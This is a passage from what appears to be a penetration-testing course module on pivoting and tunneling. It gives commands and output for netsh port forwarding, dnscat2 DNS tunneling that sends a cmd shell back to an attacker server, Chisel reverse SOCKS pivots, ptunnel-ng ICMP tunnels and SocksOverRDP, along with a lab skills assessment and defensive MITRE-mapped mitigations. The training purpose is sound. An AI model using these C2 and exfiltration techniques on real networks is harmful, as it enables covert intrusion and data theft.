based IT admin's workstation ( 10.129.15.150 , 172.16.5.25 ). Keep in mind that it is
possible on an engagement that we may gain access to an employee's workstation through
methods such as social engineering and phishing. This would allow us to pivot further from
within the network the workstation is in.

We can use netsh.exe to forward all data received on a specific port (say 8080) to a
remote host on a remote port. This can be performed using the below command.

Using Netsh.exe to Port Forward

C:\Windows\system32> netsh.exe interface portproxy add v4tov4

listenport=8080 listenaddress=10.129.15.150 connectport=3389
connectaddress=172.16.5.25

Verifying Port Forward

C:\Windows\system32> netsh.exe interface portproxy show v4tov4

Listen on ipv4: Connect to ipv4:

Address Port Address Port

--------------- ---------- --------------- ----------
10.129.42.198 8080 172.16.5.25 3389

After configuring the portproxy on our Windows-based pivot host, we will try to connect to
the 8080 port of this host from our attack host using xfreerdp. Once a request is sent from
our attack host, the Windows host will route our traffic according to the proxy settings
configured by netsh.exe.

Connecting to the Internal Host through the Port Forward

Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.

DNS Tunneling with Dnscat2

Dnscat2 is a tunneling tool that uses DNS protocol to send data between two hosts. It uses
an encrypted Command-&-Control ( C&C or C2 ) channel and sends data inside TXT
records within the DNS protocol. Usually, every active directory domain environment in a
corporate network will have its own DNS server, which will resolve hostnames to IP
addresses and route the traffic to external DNS servers participating in the overarching DNS
system. However, with dnscat2, the address resolution is requested from an external server.
When a local DNS server tries to resolve an address, data is exfiltrated and sent over the
network instead of a legitimate DNS request. Dnscat2 can be an extremely stealthy
approach to exfiltrate data while evading firewall detections which strip the HTTPS
connections and sniff the traffic. For our testing example, we can use dnscat2 server on our
attack host, and execute the dnscat2 client on another Windows host.

Setting Up & Using dnscat2

If dnscat2 is not already set up on our attack host, we can do so using the following
commands:
Cloning dnscat2 and Setting Up the Server

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/
sudo gem install bundler
sudo bundle install

We can then start the dnscat2 server by executing the dnscat2 file.

Starting the dnscat2 server

sudo ruby dnscat2.rb --dns

host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache

New window created: 0

dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false

history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...

Assuming you have an authoritative DNS server, you can run

the client anywhere with the following (--secret is optional):

./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local

To talk directly to the server without a domain name, run:

./dnscat --dns server=x.x.x.x,port=53 --

secret=0ec04a91cd1e963f8c03ca499d589d21

Of course, you have to figure out <server> yourself! Clients

will connect directly on UDP port 53.

After running the server, it will provide us the secret key, which we will have to provide to our
dnscat2 client on the Windows host so that it can authenticate and encrypt the data that is
sent to our external dnscat2 server. We can use the client with the dnscat2 project or use
dnscat2-powershell, a dnscat2 compatible PowerShell-based client that we can run from
Windows targets to establish a tunnel with our dnscat2 server. We can clone the project
containing the client file to our attack host, then transfer it to the target.
Cloning dnscat2-powershell to the Attack Host

git clone https://github.com/lukebaggett/dnscat2-powershell.git

Once the dnscat2.ps1 file is on the target we can import it and run associated cmd-lets.

Importing dnscat2.ps1

PS C:\htb> Import-Module .\dnscat2.ps1

After dnscat2.ps1 is imported, we can use it to establish a tunnel with the server running on
our attack host. We can send back a CMD shell session to our server.

PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain

inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -
Exec cmd

We must use the pre-shared secret ( -PreSharedSecret ) generated on the server to ensure
our session is established and encrypted. If all steps are completed successfully, we will see
a session established with our server.

Confirming Session Establishment

New window created: 1

Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2>

We can list the options we have with dnscat2 by entering ? at the prompt.

Listing dnscat2 Options

dnscat2> ?

Here is a list of commands (use -h on any of them for additional help):

* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows

We can use dnscat2 to interact with sessions and move further in a target environment on
engagements. We will not cover all possibilities with dnscat2 in this module, but it is strongly
encouraged to practice with it and maybe even find creative ways to use it on an
engagement. Let's interact with our established session and drop into a shell.

Interacting with the Established Session

dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [Version 10.0.18363.1801]

C:\Windows\system32>
exec (OFFICEMANAGER) 1>

SOCKS5 Tunneling with Chisel

Chisel is a TCP/UDP-based tunneling tool written in Go that uses HTTP to transport data
that is secured using SSH. Chisel can create a client-server tunnel connection in a firewall
restricted environment. Let us consider a scenario where we have to tunnel our traffic to a
webserver on the 172.16.5.0 / 23 network (internal network). We have the Domain
Controller with the address 172.16.5.19 . This is not directly accessible to our attack host
since our attack host and the domain controller belong to different network segments.
However, since we have compromised the Ubuntu server, we can start a Chisel server on it
that will listen on a specific port and forward our traffic to the internal network through the
established tunnel.

Setting Up & Using Chisel

Before we can use Chisel, we need to have it on our attack host. If we do not have Chisel on
our attack host, we can clone the project repo using the command directly below:

Cloning Chisel

git clone https://github.com/jpillora/chisel.git

We will need the programming language Go installed on our system to build the Chisel
binary. With Go installed on the system, we can move into that directory and use go build
to build the Chisel binary.

Building the Chisel Binary

cd chisel
go build

It can be helpful to be mindful of the size of the files we transfer onto targets on our client's
networks, not just for performance reasons but also considering detection. Two beneficial
resources to complement this particular concept are Oxdf's blog post " Tunneling with Chisel
and SSF" and IppSec's walkthrough of the box Reddish . IppSec starts his explanation of
Chisel, building the binary and shrinking the size of the binary at the 24:29 mark of his video.

Once the binary is built, we can use SCP to transfer it to the target pivot host.

Transferring Chisel Binary to Pivot Host

scp chisel [email protected]:~/

[email protected]'s password:

chisel 100% 11MB 1.2MB/s
00:09

Then we can start the Chisel server/listener.

Running the Chisel Server on the Pivot Host

ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5

2022/05/05 18:16:25 server: Fingerprint

Viry7WRyvJIOPveDzSI2piuIvtu9QehWw9TzA3zspac=
2022/05/05 18:16:25 server: Listening on http://0.0.0.0:1234

The Chisel listener will listen for incoming connections on port 1234 using SOCKS5 ( --
socks5 ) and forward it to all the networks that are accessible from the pivot host. In our
case, the pivot host has an interface on the 172.16.5.0/23 network, which will allow us to
reach hosts on that network.

We can start a client on our attack host and connect to the Chisel server.

Connecting to the Chisel Server

./chisel client -v 10.129.202.64:1234 socks

2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234

2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/05/05 14:21:18 client: tun: Bound proxies
2022/05/05 14:21:19 client: Handshaking...
2022/05/05 14:21:19 client: Sending config
2022/05/05 14:21:19 client: Connected (Latency 120.170822ms)
2022/05/05 14:21:19 client: tun: SSH connected

As you can see in the above output, the Chisel client has created a TCP/UDP tunnel via
HTTP secured using SSH between the Chisel server and the client and has started listening
on port 1080. Now we can modify our proxychains.conf file located at
/etc/proxychains.conf and add 1080 port at the end so we can use proxychains to pivot
using the created tunnel between the 1080 port and the SSH tunnel.

Editing & Confirming proxychains.conf

We can use any text editor we would like to edit the proxychains.conf file, then confirm our
configuration changes using tail .

tail -f /etc/proxychains.conf

#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080

Now if we use proxychains with RDP, we can connect to the DC on the internal network
through the tunnel we have created to the Pivot host.

Pivoting to the DC

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Chisel Reverse Pivot

In the previous example, we used the compromised machine (Ubuntu) as our Chisel server,
listing on port 1234. Still, there may be scenarios where firewall rules restrict inbound
connections to our compromised target. In such cases, we can use Chisel with the reverse
option.

When the Chisel server has --reverse enabled, remotes can be prefixed with R to denote
reversed. The server will listen and accept connections, and they will be proxied through the
client, which specified the remote. Reverse remotes specifying R:socks will listen on the
server's default socks port (1080) and terminate the connection at the client's internal
SOCKS5 proxy.

We'll start the server in our attack host with the option --reverse .

Starting the Chisel Server on our Attack Host

sudo ./chisel server --reverse -v -p 1234 --socks5

2022/05/30 10:19:16 server: Reverse tunnelling enabled

2022/05/30 10:19:16 server: Fingerprint
n6UFN6zV4F+MLB8WV3x25557w/gHqMRggEnn15q9xIk=
2022/05/30 10:19:16 server: Listening on http://0.0.0.0:1234

Then we connect from the Ubuntu (pivot host) to our attack host, using the option R:socks

Connecting the Chisel Client to our Attack Host

ubuntu@WEB01$ ./chisel client -v 10.10.14.17:1234 R:socks

2022/05/30 14:19:29 client: Connecting to ws://10.10.14.17:1234

2022/05/30 14:19:29 client: Handshaking...
2022/05/30 14:19:30 client: Sending config
2022/05/30 14:19:30 client: Connected (Latency 117.204196ms)
2022/05/30 14:19:30 client: tun: SSH connected

We can use any editor we would like to edit the proxychains.conf file, then confirm our
configuration changes using tail .

Editing & Confirming proxychains.conf

tail -f /etc/proxychains.conf

[ProxyList]
# add proxy here ...
# socks4 127.0.0.1 9050
socks5 127.0.0.1 1080

If we use proxychains with RDP, we can connect to the DC on the internal network through
the tunnel we have created to the Pivot host.

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Note: If you are getting an error message with chisel on the target, try with a different
version.

ICMP Tunneling with SOCKS

ICMP tunneling encapsulates your traffic within ICMP packets containing echo requests
and responses . ICMP tunneling would only work when ping responses are permitted within
a firewalled network. When a host within a firewalled network is allowed to ping an external
server, it can encapsulate its traffic within the ping echo request and send it to an external
server. The external server can validate this traffic and send an appropriate response, which
is extremely useful for data exfiltration and creating pivot tunnels to an external server.

We will use the ptunnel-ng tool to create a tunnel between our Ubuntu server and our attack
host. Once a tunnel is created, we will be able to proxy our traffic through the ptunnel-ng
client . We can start the ptunnel-ng server on the target pivot host. Let's start by setting
up ptunnel-ng.

Setting Up & Using ptunnel-ng

If ptunnel-ng is not on our attack host, we can clone the project using git.

Cloning Ptunnel-ng

git clone https://github.com/utoni/ptunnel-ng.git

Once the ptunnel-ng repo is cloned to our attack host, we can run the autogen.sh script
located at the root of the ptunnel-ng directory.

Building Ptunnel-ng with Autogen.sh

sudo ./autogen.sh

After running autogen.sh, ptunnel-ng can be used from the client and server-side. We will
now need to transfer the repo from our attack host to the target host. As in previous sections,
we can use SCP to transfer the files. If we want to transfer the entire repo and the files
contained inside, we will need to use the -r option with SCP.

Alternative approach of building a static binary

sudo apt install automake autoconf -y

cd ptunnel-ng/
sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@
\&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
./autogen.sh

Transferring Ptunnel-ng to the Pivot Host

scp -r ptunnel-ng [email protected]:~/

With ptunnel-ng on the target host, we can start the server-side of the ICMP tunnel using the
command directly below.
Starting the ptunnel-ng Server on the Target Host

ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r10.129.202.64 -R22

[sudo] password for ubuntu:

./ptunnel-ng: /lib/x86_64-linux-gnu/libselinux.so.1: no version
information available (required by ./ptunnel-ng)
[inf]: Starting ptunnel-ng 1.42.
[inf]: (c) 2004-2011 Daniel Stoedle, <[email protected]>
[inf]: (c) 2017-2019 Toni Uhlig, <[email protected]>
[inf]: Security features by Sebastien Raveau, <[email protected]>
[inf]: Forwarding incoming ping packets over TCP.
[inf]: Ping proxy is listening in privileged mode.
[inf]: Dropping privileges now.

The IP address following -r should be the IP we want ptunnel-ng to accept connections on.
In this case, whatever IP is reachable from our attack host would be what we would use. We
would benefit from using this same thinking & consideration during an actual engagement.

Back on the attack host, we can attempt to connect to the ptunnel-ng server ( -p
<ipAddressofTarget> ) but ensure this happens through local port 2222 ( -l2222 ).
Connecting through local port 2222 allows us to send traffic through the ICMP tunnel.

Connecting to ptunnel-ng Server from Attack Host

sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22

[inf]: Starting ptunnel-ng 1.42.

[inf]: (c) 2004-2011 Daniel Stoedle, <[email protected]>
[inf]: (c) 2017-2019 Toni Uhlig, <[email protected]>
[inf]: Security features by Sebastien Raveau, <[email protected]>
[inf]: Relaying packets from incoming TCP streams.

With the ptunnel-ng ICMP tunnel successfully established, we can attempt to connect to the
target using SSH through local port 2222 ( -p2222 ).

Tunneling an SSH connection through an ICMP Tunnel

ssh -p2222 -lubuntu 127.0.0.1

[email protected]'s password:

Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed 11 May 2022 03:10:15 PM UTC

System load: 0.0

Usage of /: 39.6% of 13.72GB
Memory usage: 37%
Swap usage: 0%
Processes: 183
Users logged in: 1
IPv4 address for ens192: 10.129.202.64
IPv6 address for ens192: dead:beef::250:56ff:feb9:52eb
IPv4 address for ens224: 172.16.5.129

* Super-optimized for small spaces - read how we shrank the memory

footprint of MicroK8s to make it the smallest full K8s around.

https://ubuntu.com/blog/microk8s-memory-optimisation

144 updates can be applied immediately.

97 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Last login: Wed May 11 14:53:22 2022 from 10.10.14.18

ubuntu@WEB01:~$

If configured correctly, we will be able to enter credentials and have an SSH session all
through the ICMP tunnel.

On the client & server side of the connection, we will notice ptunnel-ng gives us session logs
and traffic statistics associated with the traffic that passes through the ICMP tunnel. This is
one way we can confirm that our traffic is passing from client to server utilizing ICMP.

Viewing Tunnel Traffic Statistics

inf]: Incoming tunnel request from 10.10.14.18.

[inf]: Starting new session to 10.129.202.64:22 with ID 20199
[inf]: Received session close from remote peer.
[inf]:
Session statistics:
[inf]: I/O: 0.00/ 0.00 mb ICMP I/O/R: 248/ 22/ 0 Loss:
0.0%
[inf]:
We may also use this tunnel and SSH to perform dynamic port forwarding to allow us to use
proxychains in various ways.

Enabling Dynamic Port Forwarding over SSH

ssh -D 9050 -p2222 -lubuntu 127.0.0.1

[email protected]'s password:

Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
<snip>

We could use proxychains with Nmap to scan targets on the internal network (172.16.5.x).
Based on our discoveries, we can attempt to connect to the target.

Proxychaining through the ICMP Tunnel

proxychains nmap -sV -sT 172.16.5.19 -p3389

ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-11 11:10 EDT
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:80-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
Nmap scan report for 172.16.5.19
Host is up (0.12s latency).

PORT STATE SERVICE VERSION

3389/tcp open ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at

https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds

Network Traffic Analysis Considerations

It is important that we confirm the tools we are using are performing as advertised and that
we have set up & are operating them properly. In the case of tunneling traffic through
different protocols taught in this section with ICMP tunneling, we can benefit from analyzing
the traffic we generate with a packet analyzer like Wireshark . Take a close look at the short
clip below.
In the first part of this clip, a connection is established over SSH without using ICMP
tunneling. We may notice that TCP & SSHv2 traffic is captured.

The command used in the clip: ssh [email protected]

In the second part of this clip, a connection is established over SSH using ICMP tunneling.
Notice the type of traffic that is captured when this is performed.

Command used in clip: ssh -p2222 -lubuntu 127.0.0.1

Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.

Note: Consider the versions of GLIBC, make sure you are on par with the one on the target.

RDP and SOCKS Tunneling with SocksOverRDP

There are often times during an assessment when we may be limited to a Windows network
and may not be able to use SSH for pivoting. We would have to use tools available for
Windows operating systems in these cases. SocksOverRDP is an example of a tool that
uses Dynamic Virtual Channels ( DVC ) from the Remote Desktop Service feature of
Windows. DVC is responsible for tunneling packets over the RDP connection. Some
examples of usage of this feature would be clipboard data transfer and audio sharing.
However, this feature can also be used to tunnel arbitrary packets over the network. We can
use SocksOverRDP to tunnel our custom packets and then proxy through it. We will use the
tool Proxifier as our proxy server.

We can start by downloading the appropriate binaries to our attack host to perform this
attack. Having the binaries on our attack host will allow us to transfer them to each target
where needed. We will need:

1. SocksOverRDP x64 Binaries

2. Proxifier Portable Binary

We can look for ProxifierPE.zip

We can then connect to the target using xfreerdp and copy the SocksOverRDPx64.zip file to
the target. From the Windows target, we will then need to load the SocksOverRDP.dll using
regsvr32.exe.

Loading SocksOverRDP.dll using regsvr32.exe

C:\Users\htb-student\Desktop\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-

Plugin.dll

Now we can connect to 172.16.5.19 over RDP using mstsc.exe , and we should receive a
prompt that the SocksOverRDP plugin is enabled, and it will listen on 127.0.0.1:1080. We
can use the credentials victor:pass@123 to connect to 172.16.5.19.
We will need to transfer SocksOverRDPx64.zip or just the SocksOverRDP-Server.exe to
172.16.5.19. We can then start SocksOverRDP-Server.exe with Admin privileges.

When we go back to our foothold target and check with Netstat, we should see our SOCKS
listener started on 127.0.0.1:1080.

Confirming the SOCKS Listener is Started

C:\Users\htb-student\Desktop\SocksOverRDP-x64> netstat -antb | findstr

1080
TCP 127.0.0.1:1080 0.0.0.0:0 LISTENING

After starting our listener, we can transfer Proxifier portable to the Windows 10 target (on the
10.129.x.x network), and configure it to forward all our packets to 127.0.0.1:1080. Proxifier
will route traffic through the given host and port. See the clip below for a quick walkthrough
of configuring Proxifier.

Configuring Proxifier

With Proxifier configured and running, we can start mstsc.exe, and it will use Proxifier to
pivot all our traffic via 127.0.0.1:1080, which will tunnel it over RDP to 172.16.5.19, which will
then route it to 172.16.6.155 using SocksOverRDP-server.exe.
RDP Performance Considerations

When interacting with our RDP sessions on an engagement, we may find ourselves
contending with slow performance in a given session, especially if we are managing multiple
RDP sessions simultaneously. If this is the case, we can access the Experience tab in
mstsc.exe and set Performance to Modem .
Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.

Skills Assessment

Scenario
A team member started a Penetration Test against the Inlanefreight environment but was
moved to another project at the last minute. Luckily for us, they left a web shell in place for
us to get back into the network so we can pick up where they left off. We need to leverage
the web shell to continue enumerating the hosts, identifying common services, and using
those services/protocols to pivot into the internal networks of Inlanefreight. Our detailed
objectives are below :

Objectives
Start from external ( Pwnbox or your own VM ) and access the first system via the web
shell left in place.
Use the web shell access to enumerate and pivot to an internal host.
Continue enumeration and pivoting until you reach the Inlanefreight Domain
Controller and capture the associated flag .
Use any data , credentials , scripts , or other information within the environment to
enable your pivoting attempts.
Grab any/all flags that can be found.

Note:

Keep in mind the tools and tactics you practiced throughout this module. Each one can
provide a different route into the next pivot point. You may find a hop to be straightforward
from one set of hosts, but that same tactic may not work to get you to the next. While
completing this skills assessment, we encourage you to take proper notes, draw out a map
of what you know of already, and plan out your next hop. Trying to do it on the fly will prove
difficult without having a visual to reference.

Connection Info
Foothold :
IP :

You will find the web shell pictured below when you browse to support.inlanefreight.local or
the target IP above.

Note: When spawning your target, we ask you to wait for 3 - 5 minutes until the whole lab
with all the configurations is set up so that the connection to your target works flawlessly.

Detection & Prevention

Throughout this module, we have mastered several different techniques that can be used
from an offensive perspective . As penetration testers, we should also be concerned with
the mitigations and detections that can be put in place to aid defenders in stopping these
types of TTP's. This is crucial since we are expected to provide our customers with potential
fixes or solutions to the issues we find and exploit during our assessments. Some may be:

Physical hardware changes

Changes to the network infrastructure
Modifications to host baselines

This section will cover some of these fixes and what they mean for us and those in charge of
defending the network.
Setting a Baseline
Understanding everything present and happening in a network environment is vital. As
defenders, we should be able to quickly identify and investigate any new hosts that
appear in our network, any new tools or applications that get installed on hosts outside of our
application catalog, and any new or unique network traffic generated. An audit of everything
listed below should be done annually, if not every few months, to ensure your records are up
to date. Among some of the considerations we can start with are:

Things to Document and Track

DNS records, network device backups, and DHCP configurations

Full and current application inventory
A list of all enterprise hosts and their location
Users who have elevated permissions
A list of any dual-homed hosts (More than one network interface)
Keeping a visual network diagram of your environment

Along with tracking the items above, keeping a visual network diagram of your environment
up-to-date can be highly effective when troubleshooting issues or responding to an incident.
Netbrain is an excellent example of one tool that can provide this functionality and interactive
access to all appliances in the diagram. If we want a way to document our network
environment visually, we can use a free tool like diagrams.net. Lastly, for our baseline,
understanding what assets are critical to the operation of your organization and monitoring
those assets is a must.

People, Processes, and Technology

Network hardening can be organized into the categories People, Process, and Technology.
These hardening measures will encompass the hardware, software, and human aspects of
any network. Let's start with the human ( People ) aspect.

People
In even the most hardened environment, users are often considered the weakest link.
Enforcing security best practices for standard users and administrators will prevent "easy
wins" for pentesters and malicious attackers. We should also strive to keep ourselves and
the users we serve educated and aware of threats. The measures below are a great way to
begin the process of securing the human element of any enterprise environment.

BYOD and Other Concerns

Bring Your Own Device (BYOD) is becoming prevalent in today's workforce. With the
increased acceptance of remote work and hybrid work arrangements, more people are using
their personal devices to perform work-related tasks. This presents unique risks to
organizations because their employees may be connecting to networks and shared
resources owned by the organization. The organization has a limited ability to administer and
secure a personally owned device such as a laptop or smartphone, leaving the responsibility
of securing the device largely with the owner. If the device owner follows poor security
practices, they not only put themselves at risk of compromise, but now they can also extend
these same risks to their employers. Consider the practical example below to build
perspective on this:

Scenario: Nick is a hardworking and dedicated logistics manager for Inlanefreight. He has
put in a lot of great work over the years, and the company trusts him enough to allow him to
work from home three days out of the week. Like many Inlanefreight employees, Nick also
takes advantage of Inlanefreight's willingness to allow employees to use their own devices
for work-related tasks at home and in the office network environments. Nick also enjoys
gaming and sometimes illegally torrents video games. One game he downloaded and
installed also installed malware that gave an attacker remote access to his laptop. When
Nick goes into the office, he connects to the WiFi network that extends access to the
employee network. Anyone can reach the Domain Controllers, File Shares, printers, and
other important network resources from this network. Because there is malware on Nick's
system, the attacker also has access to these network resources and can attempt to pivot
across Inlanefreight's network due to Nick's bad security practices on his personal computer.

Using multi-factor authentication (Something you have, something you know,

something you are, location, etc.) are all excellent factors to consider when implementing
authentication mechanisms. Implementing two or more factors for authentication (especially
for administrative accounts and access) is a great way to make it more difficult for an
attacker to gain full access to an account should a user's password or hash get
compromised.

Along with ensuring your users cannot cause harm, we should consider our policies and
procedures for domain access and control. Larger organizations should also consider
building a Security Operation Center (SOC) team or use a SOC as a Service to constantly
monitor what is happening within the IT environment 24/7. Modern defensive technologies
have come a long way and can help with many different defensive tactics, but we need
human operators to ensure they function as they are supposed to. Incident response is
something where we can't yet completely automate out the human element. So having a
proper incident response plan ready is essential to be prepared for a breach.

Processes
Maintaining and enforcing policies and procedures can significantly impact an organization's
overall security posture. It is near impossible to hold an organization's employees
accountable without defined policies. It makes it challenging to respond to an incident
without defined and practiced procedures such as a disaster recovery plan . The items
below can help to start defining an organization's processes , policies , and procedures
relating to securing their users & network environment.

Proper policies and procedures for asset monitoring and management

Host audits, the use of asset tags, and periodic asset inventories can help ensure
hosts are not lost
Access control policies (user account provisioning/de-provisioning), multi-factor
authentication mechanisms
Processes for provisioning and decommissioning hosts (i.e., baseline security
hardening guideline, gold images)
Change management processes to formally document who did what and when they
did it

Technology
Periodically check the network for legacy misconfigurations and new & emerging threats. As
changes are made to an environment, ensure that common misconfigurations are not
introduced while paying attention to any vulnerabilities introduced by tools or applications
utilized in the environment. If possible, attempt to patch or mitigate those risks with the
understanding that the CIA triad is a balancing act, and the acceptance of the risk a
vulnerability presents may be the best option for your environment.

From the Outside Moving In

When working with an organization to help them assess the security posture of their
environment, it can be helpful to start from the outside and move our way in. As penetration
testers and security practitioners, we want our clients to take our findings and
recommendations seriously enough to inform their decisions moving forward. We want them
to understand that the issues we uncover can also be found by individuals or groups with
less honorable intentions. Let's consider this through a mental exercise using the outline
below. Feel free to use these burning questions and considerations to start a conversation
with friends, team-members or if you are alone, take some notes and come up with the most
secure design you can think of:

Perimeter First

What exactly are we protecting?

What are the most valuable assets the organization owns that need
securing?
What can be considered the perimeter of our network?
What devices & services can be accessed from the Internet? (Public-
facing)
How can we detect & prevent when an attacker is attempting an attack?
How can we make sure the right person &/or team receives alerts as soon
as something isn't right?
Who on our team is responsible for monitoring alerts and any actions our
technical controls flag as potentially malicious?
Do we have any external trusts with outside partners?
What types of authentication mechanisms are we using?
Do we require Out-of-Band (OOB) management for our infrastructure. If so,
who has access permissions?
Do we have a Disaster Recovery plan?

When considering these questions regarding the perimeter, we may face the reality that an
organization has infrastructure that could be based on premises &/or in the cloud. Most
organizations in the modern day operate hybrid-cloud infrastructures. This means some of
the technologies used by organizations may be running on network & server infrastructure
owned by the organization, and some may be hosted by a 3rd party cloud provider (AWS,
Azure, GCP, etc.).

External interface on a firewall

Next-Gen Firewall Capabilities
Blocking suspicious connections by IP
Ensuring only approved individuals are connecting to VPNs
Building the ability to quick disconnect suspicious connections without
disrupting business functions

Internal Considerations
Many of the questions we ask for external considerations apply to our internal environment.
There are a few differences; however, there are many different routes for ensuring the
successful defense of our networks. Let's consider the following:

Are any hosts that require exposure to the internet properly hardened and
placed in a DMZ network?
Are we using Intrusion Detection and Prevention systems within our
environment?
How are our networks configured? Are different teams confined to their
own network segments?
Do we have separate networks for production and management networks?
How are we tracking approved employees who have remote access to
admin/management networks?
How are we correlating the data we are receiving from our infrastructure
defenses and end-points?
Are we utilizing host-based IDS, IPS, and event logs?

Our best chance of spotting, stopping, and potentially even preventing an attack often
depends on our ability to maintain visibility within our environment. A proper SIEM
implementation to correlate and analyze our host and infrastructure logs can go a long way.
Combine that with adequate network segmentation, and it becomes infinitely more
challenging for an attacker to gain a foothold and pivot to targets. Simple things like ensuring
Steve from HR cannot view or access network infrastructure such as switches and routers or
admin panels for internal websites can prevent the use of standard users for lateral
movement.

MITRE Breakdown
As a different look at this, we have broken down the major actions we practice in this module
and mapped controls based on the TTP and a MITRE tag. Each tag corresponds with a
section of the Enterprise ATT&CK Matrix found here. Any tag marked as TA corresponds to
an overarching tactic, while a tag marked as T### is a technique found in the matrix under
tactics.

TTP MITRE Description

Tag
External T1133 We have options for prevention when dealing with the use of
Remote External Remote Services. First , having a proper firewall in
Services place to segment our environment from the rest of the Internet
and control the flow of traffic is a must. Second , disabling and
blocking any internal traffic protocols from reaching out to the
world is always a good practice. Third , using a VPN or some
other mechanism that requires a host to be logically located
within the network before it gains access to those services is a
great way to ensure you aren't leaking data you shouldn't.
TTP MITRE Description
Tag
Remote T1021 Multi-factor authentication can go a long way when trying to
Services mitigate the unauthorized use of remote services such as SSH
and RDP. Even if a user's password was taken, the attacker
would still need a way to acquire the string from their MFA of
choice. Limiting user accounts with remote access permissions
and separating duties as to who can remotely access what
portions of a network can go a long way. Utilizing your
networked firewall and the built-in firewall on your hosts to limit
incoming/outgoing connections for remote services is an easy
win for defenders. It will stop the connection attempt unless it is
from an authorized internal or external network. When dealing
with infrastructure devices such as routers and switches, only
exposing remote management services and ports to an Out Of
Band (OOB network is a best practice that should always be
followed. Doing this ensures that anyone who may have
compromised the enterprise networks cannot simply hop from a
regular user's host into the infrastructure.
Use of T1571 This technique can be a tricky one to catch. Attackers will often
Non- use a common protocol such as HTTP or HTTPS to
Standard communicate with your environment. It is hard to see what is
Ports going on, especially with the use of HTTPS, but the pairings of
protocols such as these with a non-standard port ( 44 4 instead
of 44 3 , for example) can tip us off to something suspicious
happening. Attackers will often try to work in this manner, so
having a solid baseline of what ports/protocols are commonly
used in your environment can go a long way when trying to spot
the bad. Using some form of a Network Intrusion Prevention or
Detection system can also help spot and shut down the
potentially malicious traffic.
Protocol T1572 This is an interesting problem to tackle. Many actors utilize
Tunneling protocol tunneling to hide their communications channels. Often
we will see things much like we practiced in this module
(tunneling other traffic through an SSH tunnel) and even the use
of protocols like DNS to pass instructions from external sources
to a host internal to the network. Taking the time to lock down
what ports and protocols are allowed to talk in/out of your
networks is a must. If you have a domain running and are
hosting a DC & DNS server, your hosts should have no reason
to reach externally for name resolution. Disallowing DNS
resolution from the web (except to specific hosts like the DNS
server) can help with an issue such as this. Having a good
monitoring solution in place can also watch for traffic patterns
and what is known as Beaconing . Even if the traffic is
encrypted, we may possibly see requests happening in a
pattern over time. This is a common trait of a C2 channel.
TTP MITRE Description
Tag
Proxy Use T1090 The use of a Proxy point is commonplace among threat actors.
Many will use a proxy point or distribute their traffic over multiple
hosts so that they do not directly expose their infrastructure. By
using a proxy, there is no direct connection from the victim's
environment to the attacker's host at any given time. The
detection and prevention of proxy use is a bit difficult as it takes
an intimate knowledge of common net flow within your
environment. The most effective route is maintaining a list of
allowed/blocked domains and IP addresses. Anything not
explicitly allowed will be blocked until you let the traffic through.
LOTL N/A It can be hard to spot an attacker while they are utilizing the
resources on hand. This is where having a baseline of network
traffic and user behavior comes in handy. If your defenders
understand what the day-to-day normal for their network looks
like, you have a chance to spot the abnormal. Watching for
command shells and utilizing a properly configured EDR and AV
solution will go a long way to providing you visibility. Having
some form of networking monitoring and logging feeding into a
